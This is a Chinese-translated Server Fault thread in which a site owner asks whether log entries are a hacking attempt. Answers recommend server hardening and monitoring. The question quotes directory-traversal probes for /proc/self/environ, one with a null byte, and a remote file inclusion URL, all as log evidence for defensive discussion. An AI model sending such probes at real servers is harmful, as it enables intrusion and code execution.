这是黑客尝试吗?


12

浏览我的404日志时,我注意到以下两个URL,它们两个都发生一次:

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ

/library.php=../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00

有问题的页面library.php需要一个type具有六个不同可接受值的id变量,然后是一个变量。因此,有效的网址可能是

library.php?type=Circle-K&id=Strange-Things-Are-Afoot

并且所有ID都必须mysql_real_escape_string先运行,然后才能用于查询数据库。

我是菜鸟,但在我看来,这两个链接都是针对Webroot的简单攻击?

1)如何最好地防止404以外的其他事情?

2)我应该永久禁止负责的IP吗?

编辑:也只是注意到这一

/library.php=http://www.basfalt.no/scripts/danger.txt

编辑2:所有这3次攻击的违法IP都216.97.231.15追溯到位于洛杉矶外部的ISP,称为Lunar Pages。

编辑3:我决定在当地时间星期五早上致电ISP,并与可以与我打电话的人讨论这个问题。我将在24小时左右的时间内将结果发布在这里。

编辑4:我最终给他们的管理员发送了电子邮件,他们首先回答说“他们正在调查”,然后一天后回答“现在应该解决此问题”。遗憾的是,没有更多细节。


Adnrew,这个/library.php脚本中不包含查询字符串中的任何内容吗?在这种情况下,您很安全
Shrapnel上校2010年

library.php处理由我自己的网站生成的链接。该type告诉脚本包括要使用的脚本(尽管通过IF $_GET['type'] == 'thing') {} ESLE...,而不是像一样的直接链接include 'type.php'),并且脚本id通过mysql_real_escape_string运行并用于查询。知道了,我还安全吗?

有人可以解释攻击者到底想找出什么吗?对所有答案的问题进行简短的总结将是很好的。
bzero14年

Answers:


19

0)是的。至少,这是对您的站点的系统调查,试图发现它是否容易受到攻击。

1)除了确保代码干净以外,您不能做很多事情,只能对主机运行自己的测试以确保代码安全。Google Skipfish是为您提供帮助的众多工具之一。

2)我会的。


10
关于书写0)方式:不错!我从来没有想过。

@polygenelubricants我敢打赌您也不会想到-1)0.5)π)2 + 3i)记号。:P
Mateen Ulhaq 2011年


7

正如其他人所说:是的,这是一次黑客尝试。请注意,除了这种可能的手工尝试之外,僵尸网络还运行着许多自动化的尝试。通常,这类攻击正试图潜入古老的漏洞和/或一些典型的编码缺陷,例如未能验证用户输入而导致SQL注入,系统或文件泄漏或类似情况。

手动禁止这些僵尸网络很可能是不可能的,因为僵尸网络最多可以使用数千个唯一IP地址,因此,如果要禁止它们,则必须使用某种自动禁止程序。我想起了fail2ban;使它对mod_security事件或其他一些日志条目做出反应。

如果您的代码是干净的并且服务器已经过加固,那么这些黑客尝试只会使日志污染变得烦人。但是最好采取预防措施,并根据需要考虑以下一些或全部:

  • mod_security是一个Apache模块,可过滤掉各种典型的黑客攻击尝试。如果看到可疑的JavaScript等信息,它还可以限制出站流量(服务器将发送到客户端的页面)。

  • Suhosin用于加强PHP本身。

  • 以拥有脚本的用户身份运行PHP脚本;诸如suphpphp-fpm之类的东西使这成为可能。

  • 将您的webroot和PHP临时目录挂载为noexec,nosuid,nodev

  • 禁用不需要的PHP函数,例如systempassthru

  • 禁用不需要的PHP模块。例如,如果不需要IMAP支持,则不要启用它。

  • 使您的服务器保持最新。

  • 密切注意原木。

  • 确保您有备份。

  • 制定一个计划,如果有人入侵您或其他灾难袭击您,该怎么办。

这是一个好的开始。然后还有甚至更多的极端措施,例如SnortPrelude,但是对于大多数设置而言,它们可能会显得过大。


3

进行这些查询的机器很可能是僵尸网络僵尸。如果要从多个IP获取这些请求,则可能不值得禁止它们,因为您必须禁止一半的互联网才能使其生效。


1

如前所述-这是尝试访问/ proc / self / environ文件以获取更多信息。

我认为这是一台linux机器:

你应该用

您可以阻止攻击服务器的ip,但是您应该考虑到该功能可能是非攻击性的。

我曾经在服务器受到攻击时阻止某些服务:http / https / pop / imap / ssh,但保持smtp处于打开状态,如果您输入有误,则会收到通知。


为什么要等到攻击失败后再更改安全性?当您知道攻击失败时,为什么要做什么?是的,OP可能会考虑一些临时性的调整以减少噪音和浪费带宽-但也有将你的建议,你还没有解决的变化影响
symcbean

总会有影响。保持原样,您可能会被黑。保护服务器安全,并应对由安全程序引起的问题。但是无论如何-安全性是Web可访问系统上的主要问题!
安德烈亚斯·雷姆

0

是的,这是入侵尝试。您绝对应该禁止使用IP。如果您确定该IP在国外,则可能只想禁止其所属的整个子网。与服务器问题相比,这不是代码问题。查找这种特殊的入侵,并确保您的托管服务提供商不容易受到它或类似脚本小子尝试的攻击(这就是这种情况)。


0

这是尝试利用可通过Web服务器访问的服务器端脚本中潜在的任意本地文件包含漏洞。在易受攻击的linux系统/proc/self/environ上,可以滥用它在服务器端执行任意代码。


0

根据Janne Pikkarainen的建议:

密切注意原木。

确保您有备份。

作为这些日志的一部分,重要的是作为入侵检测系统的一部分,监视任何文件(包括网站)的更改。OpenBSD就是一个示例,默认情况下会对配置文件执行此操作。我提出这一点是因为:

  • 对于Cloud Sites,在定制网站上对PHP文件进行了细微的修改(这只是输出非标准标签,但可能是衡量漏洞利用程度的测试的一部分)。
  • 对于一个同事来说,他们的WordPress .htaccess文件中存在细微的重定向(仅Google搜索结果中的引荐来源网址)。
  • 对于另一个同事,他们的Joomla配置文件进行了微妙的修改(不记得了,我认为在某些情况下它也是重定向)。
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.